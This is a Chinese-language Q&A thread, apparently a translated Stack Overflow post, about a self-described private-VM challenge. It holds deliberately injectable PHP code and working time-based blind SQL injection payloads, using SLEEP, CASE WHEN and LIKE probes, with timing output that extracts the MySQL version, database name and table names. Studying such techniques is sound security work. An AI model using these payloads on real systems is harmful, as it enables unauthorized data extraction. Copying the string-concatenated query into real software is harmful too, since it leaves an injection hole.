代码之家  ›  专栏  ›  技术社区  ›  Michael Pomogajko

为基于时间的盲sqlinjection查找sql查询

  •  -3
  • Michael Pomogajko  · 技术社区  · 7 年前

    我有一个简单的web应用程序,可以将消息发布到MySQL数据库。 我的挑战是获取有关该数据库的所有信息。 不幸的是,没有输出,所以我必须进行基于时间的盲注入。

    该有效负载工作,响应需要5秒才能到达客户端。

    ' RLIKE SLEEP(5) AND '1'='1
    

    我必须以某种方式替换 '1'='1 所以我可以检查表名或用户。

    有什么想法吗??

    以下是易受攻击查询的代码。

    <?php
    if (isset($_POST['feedback'])) {
        $id = $_POST['feedback'];
        $query = "INSERT INTO `hackdb`.`feedback` (`id` ,`feedback`, `feedback_read`, `created` ,`receiver`) VALUES (NULL,'".$_POST['feedback']."', '0', CURRENT_TIMESTAMP, '17')";
        if ($result = $mysqli->query($query)) {
            //echo "Done";  
        } else {
            //echo $mysqli->error;
        }
        echo "Thank you for your feedback! We'll contact you later.";
    } else {
        echo "";
    }
    ?>
    

    (免责声明:这是一个挑战,我正在虚拟机内的私有服务器上工作。这里没有任何不道德的事情发生)

    2 回复  |  直到 7 年前
        1
  •  0
  •   Raymond Nijland    5 年前

    只查看代码的字段反馈容易受到基于时间的盲SQL注入向量的攻击。

    创建数据库/创建表

    CREATE DATABASE IF NOT EXISTS hackdb;
    
    CREATE TABLE IF NOT EXISTS feedback (
      feedback VARCHAR(255)
    );
    

    您可以使用 (SELECT ...) 输入反馈列,因为这是有效的SQL。

    查询

    INSERT INTO
      hackdb.feedback
    (feedback)
    VALUES (
     (SELECT 1)
    )  
    

    后果

    1 row(s) affected
    
    Execution Time : 0.013 sec
    Transfer Time  : 0 sec
    Total Time     : 0.014 sec
    

    测试基于时间的盲SQL注入向量。

    INSERT INTO
      hackdb.feedback
    (feedback)
    VALUES (
     (SELECT SLEEP(5))
    )  
    

    后果

    1 row(s) affected
    
    Execution Time : 5.717 sec
    Transfer Time  : 0 sec
    Total Time     : 5.718 sec
    

    我们可以走了。 让我们找出数据库版本。
    我们可以使用MySQL的VERSION()函数来实现这一点

    查询

    INSERT INTO
      hackdb.feedback
    (feedback)
    VALUES (
     (SELECT 
       CASE
         WHEN VERSION() LIKE '5.1%'
         THEN SLEEP(5)
        ELSE 0
       END
      FROM 
      DUAL 
     )
    )   
    

    后果

    1 row(s) affected
    
    Execution Time : 0.014 sec
    Transfer Time  : 0 sec
    Total Time     : 0.014 sec
    

    没有宾果

    查询

    INSERT INTO
      hackdb.feedback
    (feedback)
    VALUES (
     (SELECT 
       CASE
         WHEN VERSION() LIKE '5.7%'
         THEN SLEEP(5)
        ELSE 0
       END
      FROM 
      DUAL 
     )
    )  
    

    1 row(s) affected
    
    Execution Time : 5.733 sec
    Transfer Time  : 0 sec
    Total Time     : 5.734 sec
    

    答对 了

    现在我们要找到正在使用的数据库。 我们可以使用MySQL的DATABASE()函数来实现这一点。

    查询

    INSERT INTO
      hackdb.feedback
    (feedback)
    VALUES (
     (SELECT 
       CASE
        WHEN (SELECT 1 FROM DUAL WHERE DATABASE() LIKE 's%')
        THEN SLEEP(5)
        ELSE 0
       END
      FROM 
     DUAL
     )
    )  
    

    后果

    1 row(s) affected
    
    Execution Time : 0.014 sec
    Transfer Time  : 0 sec
    Total Time     : 0.015 sec
    

    没有宾果

    INSERT INTO
      hackdb.feedback
    (feedback)
    VALUES (
     (SELECT 
       CASE
        WHEN (SELECT 1 FROM DUAL WHERE DATABASE() LIKE 'h%')
        THEN SLEEP(5)
        ELSE 0
       END
      FROM 
     DUAL
     )
    )  
    

    后果

    1 row(s) affected
    
    Execution Time : 5.715 sec
    Transfer Time  : 0 sec
    Total Time     : 5.716 sec
    

    答对 了

    现在可以在LIKE部分中添加第二个字符,以此类推。

    我已经给了你们一些基本的基于时间的盲SQL注入向量。
    由您在数据库中查找表
    我不想破坏你的全部挑战。

        2
  •  0
  •   spencer7593    7 年前

    用于演示可能有效载荷的表格和插页

    CREATE TABLE foo_test
    (id BIGINT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY
    , blah VARCHAR(100)
    ) ;
    
    INSERT INTO foo_test (id,blah) VALUES (NULL,'payload') ;
    

    一些演示替换 payload

    表/视图名称无效-获取快速响应
    1' AND (SELECT 1 FROM feedback WHERE 0=1) AND SLEEP(5) AND '1
    执行时间:0秒
    错误代码:1146
    表'测试。反馈“不存在

    良好的表名-5秒以上
    有效载荷= 1' AND (SELECT 1 FROM foo WHERE 0=1) AND SLEEP(5) AND '1
    执行时间:5.198秒
    1行受影响

    错误的列名-快速响应
    有效载荷= 1' AND (SELECT bar FROM foo WHERE 0=1) AND SLEEP(5) AND '1
    执行时间:0秒
    错误代码:1054
    “字段列表”中的未知列“bar”